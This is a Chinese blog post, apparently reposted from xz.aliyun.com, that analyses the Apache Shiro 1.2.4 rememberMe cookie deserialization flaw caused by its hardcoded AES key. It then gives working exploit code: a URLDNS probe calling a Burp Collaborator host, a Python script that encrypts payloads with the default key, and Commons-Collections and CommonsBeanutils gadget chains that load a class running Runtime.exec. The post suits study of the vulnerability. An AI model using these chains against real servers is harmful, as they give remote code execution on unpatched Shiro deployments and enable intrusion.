Java反序列化之Shiro反序列化利用
2023-7-16 18:57:0 Author: xz.aliyun.com(查看原文) 阅读量:23 收藏

环境搭建:

https://github.com/apache/shiro.git

在samples/web/目录下的pom.xml文件中修改版本:

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

Shiro漏洞分析:

在我们进行Shiro登录以后,我们发现勾选记住密码,在数据包中会返回一个cookie信息,于是我们猜测这个cookie的认证信息,有可能是通过反序列化序列化来进行传递的,所以我们就思考看看能不能找到他的逻辑:

然后我们就来查找一下源代码中的cookie是如何进行处理的,然后我们就全局搜索一个库项目和库中对cookie处理下类,然后我们就找到了shiro-web下面的一个CookieRememberMeMananger类:

然后我们在类中发现了一个方法,是用来获取返回包里cookie数据并进行base64解码,我们就找哪里调用了它:

然后我们就找到了AbstractRememberMenManager类下面的getRememberedPrincipals方法,这里又调用了convertBytesToPrincipals,从字面意思上我们也能够知道是对字节信息的一个认证,然后我们跟进一下:

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

可以发现convertBytesToPrincipals中对字节进行了解密和反序列化操作:

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

然后我们跟进两个方法发现deserialize其实是一个原生的反序列化的代码,而解密的地方是一个需要key的对称加密的解密,所以我们对照一下就会发现getDecryptionCipherKey()函数的返回值其实就是我们需要的key,我们就看一下它

protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }


public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

可以发现这里返回的是一个常量,我们来找一下这个常量从哪里进行赋值的:

private byte[] decryptionCipherKey;    
public byte[] getDecryptionCipherKey() {
    return decryptionCipherKey;
}

然后我们一路跟进发现跟到了setCipherKey的方法,然后在调用setCipherKey的时候我们发现了常量:

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

然后这个常量其实就是一个固定的值:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

也就是说,在Shiro1.2.4这个版本当中呢,我们可以发现对cookie的任何加密都是一样的一个key,算法其实就是一个AES加密的算法。

所以我们就来梳理一下我们的攻击流程,现在我们已经得到了AES加密算法的key和算法过程,我们就能够把我们想构造的序列化字符串进行AES加密,然后进行base64编码,然后放到能够反序列化的位置进行反序列化,然后我们就需要考虑应该用什么payload来进行攻击,即我们要攻击它的什么库:

比如这里我们可以发现存在CC的漏洞版本,但是这里是不能进行攻击的,因为在Shiro中他只是进行了库的依赖,没有import因此在真正的项目中是不存在CC链可以打的,所以这里我们还是先使用JDK本来的URLDNS链进行一个测试,来看一下漏洞的原理

package EXP;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {

    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        URL url=new URL("http://vpodxpp6sr0x7cdatw515g8d248uwj.burpcollaborator.net");


        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1234);
        hashmap.put(url,1);

        hashcodefield.set(url,-1);
        serialize(hashmap);
    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
}

ShiroAES加密:

import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data
def aes_enc(data):
    BS = AES.block_size
    pad = lambda s:s +((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext
def aes_dec(enc_data):
    enc_data = base64.b64encode(enc_data)
    unpad = lambda s : s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext
if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))
##YAYVY7DARXibfT6A/hXr3RFQeIZCzXDNgjhDNCDeE6EkNFytF25SjuuKVMGU38Oo/Ew3ehAiBXio6HVBJBihw/sJhghjkZN3nw018zqrm2AFueo4fjtjWmu0+QmReeFcIhaNAKKve4u9lIJsQNSrAU0Otx7joF43AwFAoMyY0nPZPK0X2Mk359o73Pb+t8EGeq/tuTozt2TUQYmo1bbTV3YARGExmBdGejDe+FaQgkOTKT/Byj0p0TtepY3t/PKn6bj2AEtIhqIXgKvUYbwVj04Vn8SxRITh7DxkNpDAXGZwU0NXA8sz5hWBndLvhpnZKiaaamSNK/wTHquPClSOcyrdiEZ8uy9UCvQa1JyewdU/YuKyETx4b8RVkOgUmSMCEwY75gzmPg2cgoj6gddgtBpALQa3e9fy4vce5aTWwNdX199vabzzFdGchwy/9JGIe15A4MsRunrVyobq75hmJwdSaaEuicn7mQSTMOeo6sHIzgBhikD7PGAHcubsOf/Cu1us/rIlCg04N5a5fJlXRw==

然后我们把得到的来进行一个替换,发现能够收到DNS请求,注意要删除JSESSIONID

CC攻击:

纯CC链失败原因:

因为上面没有引入Commons-Collection3.2.1的依赖,所以我们不能使用CC进行攻击,所以这里我们在对应的pom.xml上面加上对CC3版本的依赖,然后将CC6的payload进行AES加密以后提交看一下效果:

但是日志提示了报错,我们可以发现Transformer这个数组类并没有加载成功:

然后我们就来看一下触发反序列化是怎么实现的:我们可以发现这里反序列化触发的readObject函数是调用的ClassResolvingObjectInputStream,并不是调用的原生类ObjectInputStream里面的readObject函数。

所以我们来跟进一下这个类,我们可以发现这里重写了一个resolveClasss方法,在原生的Java反序列化中,会自动调用resolveClass方法,如果它进行了重写,就会调用到重写的方法,然后我们来前后对比一下这个重写的方法和原生之间的区别,可以发现在Shiro里面return的是ClassUtilforName方法,而ClassUtilShiro自己写的一个工具类

protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
    {
        String name = desc.getName();
        try {
            return Class.forName(name, false, latestUserDefinedLoader());
        } catch (ClassNotFoundException ex) {
            Class<?> cl = primClasses.get(name);
            if (cl != null) {
                return cl;
            } else {
                throw ex;
            }
        }
    }

然后我们设置断点来跟进一下ClassUtils类,可以看到里面加载类的时候是双亲委派原则去进行的加载和调用,问题的宏观表现是ClassLoader里面的loadClass不能够加载数组类,但是class.forName可以,所以这里的问题解决方法就是不出现数组类:

复合CC链构造:

  • 所以我们来改写一下CCexp版本,让他不出现数组类,即不调用ChainedTransformer然后我们就发现了CC2这一条攻击链并不存在数组类的调用,但是CC2攻击链是针对的CommonCollections4版本的TransformingComparator类下面的compare进行的利用,当前3.2.1版本并不存在,所以我们要进行一下改写:

  • 这里我们就要进行一下CC链的拼接,首先攻击方法不能够选择命令执行,因为没有数组类我们就无法控制变量,因此我们只能够选择任意类加载加载恶意类造成代码执行,所以这里后半条链就是任意类加载加上InvokerTransform

  • 而前半条链我们可以发现在对CC3.2.1版本的攻击链中,只有CC6对应的HashMap中的put方法我们可以控制输入,所以我们就想通过put传入我们的恶意类,然后走通这一条攻击链。

  • 所以我们链子的拼接是这个形式:

package EXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ShiroExpCC326 {
    public static void main(String[] args) throws Exception {
//CC3
        TemplatesImpl Templates = new TemplatesImpl();
        Class tc = Templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(Templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class"));
        byte[][] codes = {code};
        bytecodeField.set(Templates, codes);
//CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null,null);

//CC6
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> Lazymap = LazyMap.decorate(map,new ConstantTransformer(1));


        //要通过TiedMapEntry里面getValue()方法来调用map[Lazymap].get(key[Templates])方法,从而传入           transform(key)来调用
        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap,Templates);

        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        //同步上面的那个key,put完删掉防止链子走不通
        Lazymap.remove(Templates);

        Class c = LazyMap.class;
        Field factoryFied = c.getDeclaredField("factory");
        factoryFied.setAccessible(true);
        factoryFied.set(Lazymap,invokerTransformer);

        serialize(map2);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Demo.java:

package EXP;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Demo extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        }catch (IOException e){
           e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

CB攻击:

因为我们知道Shiro原生类中是不存在CC依赖的,所以当没有CC依赖的时候我们就无法通过CC来进行攻击,我们就需要另外找一个无依赖的方式对Shiro的反序列化漏洞进行利用:

通过Shiro自带的依赖Commons-beanutils进行攻击:

我们知道Commons-Collections是对Java集合做的一个功能增强,这里的Commons-beanutils是对JavaBean做的优化和提升。

JavaBean:

在Java中,有很多class的定义都符合这样的规范:

  • 若干private实例字段;
  • 通过public方法来读写实例字段。
package JavaBeanTest;

public class Person {
    private String name;
    private int age;
    public Person(String name,int age){
        this.name = name;
        this.age = age;
    }
    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return this.age; }
    public void setAge(int age) { this.age = age; }
}

如果读写方法符合以下这种命名规范:

// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)

那么这种class被称为JavaBean,如果我们正常使用的话我们是这样进行使用的:

package JavaBeanTest;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person("aaa",10);
        System.out.println(person.getName());
    }
}

调用链:

而在JavaBean中,存在一种动态类的执行方式,通过字符串来进行动态加载,然后我们就有可能在这里实现一个代码执行,所以我们来跟进一下看看这个动态的执行方式究竟是如何实现的:

package JavaBeanTest;

import org.apache.commons.beanutils.PropertyUtils;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person("aaa",10);
        System.out.println(PropertyUtils.getProperty(person,"age"));
    }
}

我们一路跟进,可以发现在这个位置,对age转换为Age以后(驼峰命名:第一个属性值小写),调用了Person类中的getAge函数,所以下面进行了反射调用。

然后我们可以结合之前的CC3的链子中,在我们查找调用newTransformer的时候选择了TrAXFliter里面的方法调用,而另外存在一个newTransformer调用的方法getOutputProperties,在CC中因为后续调用并不方便我们没用选择它,但是这个方法正好符合在JavaBean里面驼峰命名的一个形式,所以我们可以在JavaBean里面对他直接进行调用:

package EXP;

import JavaBeanTest.Person;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ShiroCB {
    public static void main(String[] args) throws Exception {
//        Person person = new Person("aaa",10);
//        System.out.println(PropertyUtils.getProperty(person,"age"));
        TemplatesImpl templates = new TemplatesImpl();

        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class"));
        byte[][] codes = {code};
        bytecodeField.set(templates, codes);
        PropertyUtils.getProperty(templates,"outputProperties");
    }
}

然后我们再来寻找哪里能够调用PropertyUtils类里面的getProperty方法,找到了BeanCompared类里面的compare方法中调用了这个函数,这里我们就可以联想到CC2里面的优先队列类中使用到了compare,这里我们就可以进行拼接:

EXP问题:

package EXP;

import JavaBeanTest.Person;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class"));
        byte[][] codes = {code};
        bytecodeField.set(templates, codes);


//PropertyUtils Properties = (PropertyUtils) PropertyUtils.getProperty(templates, "getOutputProperties");

        BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC里面有,为了不报错,传入一个,反射的时候再修改回来
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);
//改回来:
        Class<PriorityQueue> c = PriorityQueue.class;
        Field comparetorFied = c.getDeclaredField("comparator");
        comparetorFied.setAccessible(true);
        comparetorFied.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

我们把用这个exp打发现并没有打通,这里查看日志发现了报错,报了一个CC的错,而我们并没有使用到CC链:

原因是JavaBean中有和CC重叠的地方,这里的ComparableComparator就是CC里面的东西,所以这里我们就不用这个构造函数了:

public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

用一个自定义的构造函数,我们自己传一个CB或者JDK中有的comparator,一方面要继承Comparator这个接口,另一方面要继承Serializable

public BeanComparator( String property, Comparator comparator ) {
        setProperty( property );
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }
    }

这里用一个取交集的脚本筛选一下:

with open('Comparator.txt') as f:
    data = f.readline()
    coms=[]
    while data:
        coms.append(data)
        data = f.readline()
with open('Serializable.txt') as d:
    data = d.readline()
    sers = []
    while data:
        sers.append(data)
        data = d.readline()
print(*[i for i in coms if i in sers])


AttrCompare
 BeanComparator
 BooleanComparator
 BooleanComparator
 CaseInsensitiveComparator (String )
 ComparableComparator
 ComparableComparator
 ComparatorChain
 ComparatorChain
 FixedOrderComparator
 FixedOrderComparator
 InsensitiveComparator (Headers )
 KeyAnalyzer
 LayoutComparator
 NaturalOrderComparator (Comparators )
 NullComparator (Comparators )
 NullComparator
 NullComparator
 PropertySorter (ClassInfoImpl )
 ReverseComparator (Collections )
 ReverseComparator
 ReverseComparator
 ReverseComparator2 (Collections )
 StringKeyAnalyzer
 TransformingComparator
 TransformingComparator
 TreeTransferHandler (BasicTreeUI )
 Block
 JavaClass
 NumericShaper
 ObjectStreamClass
 ShellFolder

然后我们直接加上一个自定义的类就可以成功了

ShiroCBexp:

package EXP;

import JavaBeanTest.Person;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class"));
        byte[][] codes = {code};
        bytecodeField.set(templates, codes);


//PropertyUtils Properties = (PropertyUtils) PropertyUtils.getProperty(templates, "getOutputProperties");

        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
//CC里面有,为了不报错,传入一个,反射的时候再修改回来
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);
//改回来:
        Class<PriorityQueue> c = PriorityQueue.class;
        Field comparetorFied = c.getDeclaredField("comparator");
        comparetorFied.setAccessible(true);
        comparetorFied.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

最后还是给出这两个对应的调用链过程:

附:ysoserial中工具生成的payload有可能打不了,这里的原因是因为依赖库的版本问题:serialVersionUID不匹配

在ysoserial中使用的是commons-beanutils使用的版本是1.9.2而我们使用的CB版本是1.8.3,所以会报依赖版本不同的错误;

最后感慨一下,JAVA反序列化的内容大部分是跟着白日梦组长学的,讲的非常详细,感觉深刻理解了链子的原理,如果有的师傅看文章感觉有一点迷的话,可以去听一下组长讲的课


文章来源: https://xz.aliyun.com/t/12702
如有侵权请联系:admin#unsafe.sh